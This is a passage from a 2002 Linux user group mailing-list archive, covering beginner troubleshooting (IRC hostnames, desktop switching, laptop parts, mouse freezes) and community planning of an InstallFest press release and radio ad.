<20020602172913.HTJN25007.fed1mtao01.cox.net@there> Message-ID: I wasn't able to connect for the first time the other day either. I just now retried and was able to get in, but I noticed that I had "atx" saved in my KSirc configuration instead of "ath". It may have been a typo on my part or it could be spelled wrong on the PLUG website (which is down right now so I can't check). ~M On Sun, 2 Jun 2002, technomage wrote: > well, > thats unusual. > when did you attempt connection? > > the server is up 24/7 and there appears to be no current problems. > > you might want to check the port. also, the pretorian.ath.cx is lowercase. > > I'll also have to check the hostname to see if its been dropped. > > Technomage > > On Saturday 01 June 2002 11:31 am, you wrote: > > Hello all, Im a bit new to all of this but have been messin with Linux > > for about a year. So I will ask my newbie question and look like a fool > > for the proverbial 5 min. Im not sure how to connect to the > > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > > always times out. What am I doing wrong? I have tried X-Chat IRC Client > > and Mozilla-IRC. If someone could help me set that up I would greatly > > appreciate it. Thanks. > > > > Luke > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 18:18:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 11:18:58 -0700 (PDT) Subject: IRC Linux channel? In-Reply-To: Message-ID: Yep. It's spelled wrong on the PLUG website. ~M On Sun, 2 Jun 2002, Matt Alexander wrote: > I wasn't able to connect for the first time the other day either. I just > now retried and was able to get in, but I noticed that I had "atx" saved > in my KSirc configuration instead of "ath". It may have been a typo on my > part or it could be spelled wrong on the PLUG website (which is down right > now so I can't check). > ~M > > > On Sun, 2 Jun 2002, technomage wrote: > > > well, > > thats unusual. > > when did you attempt connection? > > > > the server is up 24/7 and there appears to be no current problems. > > > > you might want to check the port. also, the pretorian.ath.cx is lowercase. > > > > I'll also have to check the hostname to see if its been dropped. > > > > Technomage > > > > On Saturday 01 June 2002 11:31 am, you wrote: > > > Hello all, Im a bit new to all of this but have been messin with Linux > > > for about a year. So I will ask my newbie question and look like a fool > > > for the proverbial 5 min. Im not sure how to connect to the > > > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > > > always times out. What am I doing wrong? I have tried X-Chat IRC Client > > > and Mozilla-IRC. If someone could help me set that up I would greatly > > > appreciate it. Thanks. > > > > > > Luke > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > numbered! > > My life is my own - No. 6 > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 18:52:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 11:52:04 -0700 Subject: From Scratch? (was Re: Distribution Advice) References: Message-ID: <3CFA6954.6010606@deru.com> William Lindley wrote: > A. Start with a 1957 Chevy Bel Air. Oh... Oh ... Can we do a Chevy Nomad ??? -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 19:32:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Clayton Stapleton) Date: Sun, 2 Jun 2002 12:32:08 -0700 Subject: Bash Scripts In-Reply-To: <1023035530.26074.2.camel@tomahawk.lww.com> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> Message-ID: <200206021232.08810.vernon@impulsedata.net> Thanks all the ./ did the trick. And I now know the history which is good. Clay Stapleton On Sunday 02 June 2002 09:32, steve wrote: > you need to preface your command with ./ (i.e. ./hello) the reason > for this is that your current directory is not in your path for security > reasons. > > Steve Phariss > > > I have tried this with a c program with the same results, > > "command not found". > > > > Any ideas out there on what is causing this? > > > > Clay Stapleton > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 21:18:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gerald Winkler) Date: Sun, 2 Jun 2002 14:18:59 -0700 Subject: RH 7.X References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> Message-ID: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 21:59:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 02 Jun 2002 14:59:31 -0700 Subject: OT: Laptop Parts Message-ID: <200206022202.SAA22895@hostinworld6.com> After being on vacation for a week, I have finally returned home to find myself reading >700 e-mails. (For those interested, it was divided about 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time to play the the laptop I bought on vacation (yes, work is never far) and I'm now working on scrounging parts for it. It cost about $90 and the PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means it's been used. This is a Dell Latitude XP 4100CX laptop running a 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is first, can anyone tell me of a good place for a replacement battery cheap. Its has been toasted (memory thing) and it really isn't all that useful w/o a battery. I've got a couple bids on eBay but I was hoping for something a little more immediate. Second, I'd like a larger HD for Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the distro disks to the HD so I can install packages on the road. Can anyone tell me of a good place for cheap, large capacity, 2.5" HDs and possibly their price & size. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:01:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 2 Jun 2002 15:01:54 -0700 Subject: RH 7.X References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <00a501c20a81$1b510a30$6501a8c0@drghastly> Nevermind. I figured it out, but thanks anyways! ----- Original Message ----- From: "Gerald Winkler" To: Sent: Sunday, June 02, 2002 2:18 PM Subject: RH 7.X > Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:12:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Codie William Masters) Date: 02 Jun 2002 15:12:01 -0700 Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <1023055922.14206.1.camel@Quantum> --=-BL5bl8fe0ouY5xy+41/R Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-02 at 14:18, Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default desktop of Gnome to KD= E? Run 'switchdesk' from a terminal window. You might need to run switchdesk-(whatever) for your current setup. -- codie --=-BL5bl8fe0ouY5xy+41/R Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8+pgx+zdnEx4UzMcRAuU4AJoD/4Oa1xdEi78XQnuvkeuZaAZtlwCcDlVD CH1x1+RzdCmTCGybAOu05QE= =jSoR -----END PGP SIGNATURE----- --=-BL5bl8fe0ouY5xy+41/R-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:13:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Frank Mandato) Date: 02 Jun 2002 15:13:47 -0700 Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <1023056028.1293.4.camel@vdsl-130-13-147-187.phnx.uswest.net> MainMenu/Programs/System/Desktop Switching Tool, that'll do the trick --- you have to log out and back in to affect the change. FrankM On Sun, 2002-06-02 at 14:18, Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 2 Jun 2002 15:10:26 -0700 (PDT) Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <20020602221026.98157.qmail@web13404.mail.yahoo.com> --- Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default > desktop of Gnome to KDE? > Hi Gerald, >From your question I'm just assuming that you already have KDE installed. If that's the case you'll find a dotfile (hidden file) in your home directory called '.xinitrc'. Do 'ls -a' so that it'll show up. Then you want to use your favorite editor and edit that file. Add the line 'startkde' at the first line. Exit Gnome if you are using it and run 'startx' at the console. Then hopefully you should be staring at the KDE desktop. If this doesn't work. Wait for someone else to post a much better explanation on how to get this done :). __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 23:12:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 16:12:54 -0700 (PDT) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: The InstallFest Radio Ad RC1 is available for download at: http://plug.netpro.to/radio/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 23:48:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sun, 2 Jun 2002 16:48:10 -0700 Subject: IRC Linux channel? In-Reply-To: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> <3CF912F9.E14C11CA@aaahawk.com> <20020602172913.HTJN25007.fed1mtao01.cox.net@there> Message-ID: <20020602164810.066fdda2.derek@gnue.org> Not to be taken the wrong way, but again this is why using something like openprojects.net just seems like a better idea. -Derek On Sun, 2 Jun 2002 10:29:12 -0700 technomage wrote: > well, > thats unusual. > when did you attempt connection? > > the server is up 24/7 and there appears to be no current problems. > > you might want to check the port. also, the pretorian.ath.cx is > lowercase. > > I'll also have to check the hostname to see if its been dropped. > > Technomage > > On Saturday 01 June 2002 11:31 am, you wrote: > > Hello all, Im a bit new to all of this but have been messin with > > Linux for about a year. So I will ask my newbie question and look > > like a fool for the proverbial 5 min. Im not sure how to > > connect to the Pretorian.atx.cx chat thingy with the IRC. I try to > > connect and it always times out. What am I doing wrong? I have tried > > X-Chat IRC Client and Mozilla-IRC. If someone could help me set that > > up I would greatly appreciate it. Thanks. > > > > Luke > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:00:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Frank Mandato) Date: 02 Jun 2002 17:00:44 -0700 Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: References: Message-ID: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> I for one would like to install Linux --- on an empty hard drive without any operating system on it and only use source code, no distro. It's easy, for the most part, to install from a CD and get any distro up and running, but I sure would like to start from scratch. I did check out LFS and I must have a Linux partition in order to install. Any pointers where to get some HowTo's or info on this? TIA FrankM On Sun, 2002-06-02 at 09:12, William Lindley wrote: > On Sat, 1 Jun 2002, David Uhlman wrote: > > one can make [one's] own LFS from a stock redhat or mandrake etc. > > Start with an installed copy of the base system on a clean drive and > > build package by package until you get where you want to go > > That's a great way to tear apart a distro like RedHat and see what makes > it tick. You will learn plenty, 'tho not quite the same things you'd > learn with a totally From Scratch approach. Consider these two > approaches: > > A. Start with a 1957 Chevy Bel Air. > Remove the engine. > Replace one part at a time on the engine, making sure > the engine continues to work after each new part. > Reinstall the engine. > Drive away. > > B. Start with a bare engine block and a barrel full of Chevy parts. > Using only an exploded diagram, assemble a working engine. > Find a 1957 Chevy Bel Air frame at the junkyard, and > several "hulks" from which you can pull body parts. > Pull pieces from the hulks and add them to your masterpiece. > Drive away. > > Both approaches have their advantages, depending on what you want to > learn. > > \\/ > http://www.wlindley.com > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 17:14:17 -0700 (PDT) Subject: your post - strange mouse/keyboard behavoir - I also need help In-Reply-To: <3CF9E638.3000806@uvic.ca> Message-ID: Nope... I still have the problem, but it only seems to affect 2 of my users. I'm planning on swapping out their boxes to see if it's a hardware issue, but in the meantime the best work-around is for them to randomly click their mouse buttons on a blank area of the screen. This unfreezes the GUI, but the problem eventually returns. So far I haven't been able to find any patterns of activity that lead up to the freeze. ~M On Sun, 2 Jun 2002, islandkid wrote: > I read the below post of yours while I was looking for a solution to my problem. I have > the identical problem with my linux system. Did you ever figure out how to fix it? > > ----------------------------------------------------------------- > I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using > it for our employees in our call center (they have very limited software > needs so this will be a good testing ground). I've been testing things > and I keep encountering random problems with the mouse/keyboard within > KDE. Sometimes I can no longer click on anything. The only way to get > out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen > most often when clicking the Logout button on the taskbar, I can't click > anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to > complete the logout process. > > The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB > Video card. > > Here's what I get in .xsession-errors after logging in: > > XIM DEBUG: xset: bad font path element (#37), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > xset: bad font path element (#37), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > DCOPServer up and running. > DCOP Cleaning up dead connections. > Mutex destroy failure: Device or resource busy > Mutex destroy failure: Device or resource busy > Mutex destroy failure: Device or resource busy > mcop warning: user defined signal handler found for SIG_PIPE, overriding > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible > QObject::connect: No such slot > KWrited::block_in(const char*,int) > QObject::connect: (sender name: 'unnamed') > QObject::connect: (receiver name: 'unnamed') > > I also have a shell script that I created an icon for our users to click > on. Here's the contents of the script: > > /usr/X11R6/bin/xterm -T Matt-Test -e /usr/bin/telnet 172.16.10.20 & > > After clicking this icon, I get this message in .xsession-errors: > > Invalid entry (missing '=') at /usr/local/bin/matt-test.sh:1 > > Any guesses as to what's going on? > Thanks, > ~M > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:20:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 20:20:27 -0400 Subject: OT: Laptop Parts References: <200206022202.SAA22895@hostinworld6.com> Message-ID: <3CFAB64B.9B97A826@georgetoft.com> Something to keep in mind is that some Laptop BIOS' won't let you change hard drives, or they will limit the size. I've had two laptops - one allowed two sizes, and the other was flexible. You might want to research that first. George "Bryce C." wrote: > > After being on vacation for a week, I have finally returned home to find > myself reading >700 e-mails. (For those interested, it was divided about > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > to play the the laptop I bought on vacation (yes, work is never far) and > I'm now working on scrounging parts for it. It cost about $90 and the > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > it's been used. This is a Dell Latitude XP 4100CX laptop running a > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > first, can anyone tell me of a good place for a replacement battery > cheap. Its has been toasted (memory thing) and it really isn't all that > useful w/o a battery. I've got a couple bids on eBay but I was hoping > for something a little more immediate. Second, I'd like a larger HD for > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > distro disks to the HD so I can install packages on the road. Can > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > possibly their price & size. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:19:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 2 Jun 2002 17:19:52 -0700 Subject: Optical Mice and Linux References: Message-ID: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Ok. So I have a rather pertinent question. Anyone use one of the Microsoft Optical Mice with thier linux distro? if so, how do you like it. I have a KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I am using two mice, my optical for my Win2K box and my POS intellimouse for my RH box. However I HATE the RH mouse, its jerky and not smooth at all. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:31:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 17:31:09 -0700 Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> References: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> Message-ID: <0206021731090T.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Gentoo On Sunday 02 June 2002 17:00, you wrote: > I for one would like to install Linux --- on an empty hard drive > without any operating system on it and only use source code, no distro. > > It's easy, for the most part, to install from a CD and get any distro > up and running, but I sure would like to start from scratch. > > I did check out LFS and I must have a Linux partition in order to > install. > > Any pointers where to get some HowTo's or info on this? > > TIA > > FrankM > > On Sun, 2002-06-02 at 09:12, William Lindley wrote: > > On Sat, 1 Jun 2002, David Uhlman wrote: > > > one can make [one's] own LFS from a stock redhat or mandrake etc. > > > Start with an installed copy of the base system on a clean drive and > > > build package by package until you get where you want to go > > > > That's a great way to tear apart a distro like RedHat and see what makes > > it tick. You will learn plenty, 'tho not quite the same things you'd > > learn with a totally From Scratch approach. Consider these two > > approaches: > > > > A. Start with a 1957 Chevy Bel Air. > > Remove the engine. > > Replace one part at a time on the engine, making sure > > the engine continues to work after each new part. > > Reinstall the engine. > > Drive away. > > > > B. Start with a bare engine block and a barrel full of Chevy parts. > > Using only an exploded diagram, assemble a working engine. > > Find a 1957 Chevy Bel Air frame at the junkyard, and > > several "hulks" from which you can pull body parts. > > Pull pieces from the hulks and add them to your masterpiece. > > Drive away. > > > > Both approaches have their advantages, depending on what you want to > > learn. > > > > \\/ > > http://www.wlindley.com > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPq4zSsk3ywszI1FEQIZbACeOSBphTL2L2fAL7xdDYYMyJqhAIgAoNC6 CTD83PGfbRbh/0JvgIojMNe0 =Ygc+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:49:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 17:49:26 -0700 (MST) Subject: Fwd: FW: InstallFest Press Release RC2 In-Reply-To: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Message-ID: Am 01. Jun, 2002 schwätzte dennisk@sahuaro.f2s.com so: > Here are Bill's changes to the Press Release for comment. This version is > based on Victor's suggestion to make the press release more newsworthy. > > So, hwich version do we want to run with - this one? Or what's currently > posted on the PLUG site? I'd say go with this version. Please capitalize Free Software and Open Source whereever they appear. > === > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely > available operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of Let's leave out the 'in many cases'. "After the InstallFest, people who brought their computers can go home with GNU/Linux installed on their machines, free of charge." The FAQ on the web site should mention that there aren't any guarantees and we shouldn't explicitly guarantee anything in the press release, but can leave off most of the exception clauses. > charge. The package includes web browsers, word processors, and other > usual tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." Maybe make a more active intro of Bill: "PLUG's organizer for the event, computer consultant William Lindley, said, "This is what the Free Software community...." > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other "open source" and "free software" systems > do not require any licensing or upgrade fees, and are said by many experts > to be more efficient and secure than Windows systems. > > Businesses and home users alike are turning to free software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term "free software" actually refers to > freedom from license restrictions: Users are never asked to click "I > Agree" to a list of prohibitions before using it, and organizations need > not store "Certificates of Authenticity" in their safe deposit boxes in > case of an audit. > > The free software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their > computers to the event. Usually, only the computer box, monitor, keyboard > and mouse need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a really important next step in development of computers and the > Internet -- making them more affordable and more secure," Lindley said. > "We are here to show how easy it can be for computer users to move up to > the next level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open > Source software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and open source software; to share problems and solutions, This should be either 'several meetings' or 'on both the East and West sides' because the sentence above indicates that we have several meetings on the East side and several meetings on the West side. We might want to replace Phoenix with 'the Valley'. > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion > list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several free software events. Please add blurbs about our other sponsors and mention them somewhere in the press release. That's why their in it. Not sure we should have the blurbs for every sponsor, but they should definitely get mentioned in the press release. News agencies can cut what we have, but are unlikely to add what we don't. Also, much of this is still gonna be word of mouth, so let's make sure it's a mouthful :). Hmm, maybe we should get a quote from Thurman about SCC being happy to host the event. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 17:57:55 -0700 (MST) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: Am 02. Jun, 2002 schwätzte Matt Alexander so: > The InstallFest Radio Ad RC1 is available for download at: > > http://plug.netpro.to/radio/ Sounds good. Please add that it's at SCC. In the text version, please capitalize Free Software. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:02:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 2 Jun 2002 18:02:19 -0700 Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: References: Message-ID: <1023066139.3cfac01b0d6d6@webmail.freedom2surf.net> Quoting Matt Alexander : > The InstallFest Radio Ad RC1 is available for download at: > > http://plug.netpro.to/radio/ Loved it!! From the tone I half expect Tux to be there in his monster truck steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:27:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 18:27:46 -0700 (PDT) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: On Sun, 2 Jun 2002, der.hans wrote: > Am 02. Jun, 2002 schwätzte Matt Alexander so: > > > The InstallFest Radio Ad RC1 is available for download at: > > > > http://plug.netpro.to/radio/ > > Sounds good. Please add that it's at SCC. Will do. > In the text version, please capitalize Free Software. OK, but I don't think the radio listeners will be able to tell. ;-) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:43:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sun, 2 Jun 2002 18:43:15 -0700 Subject: Optical Mice and Linux In-Reply-To: <00c001c20a94$67b1ac50$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Message-ID: <200206021843.17079.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 02 June 2002 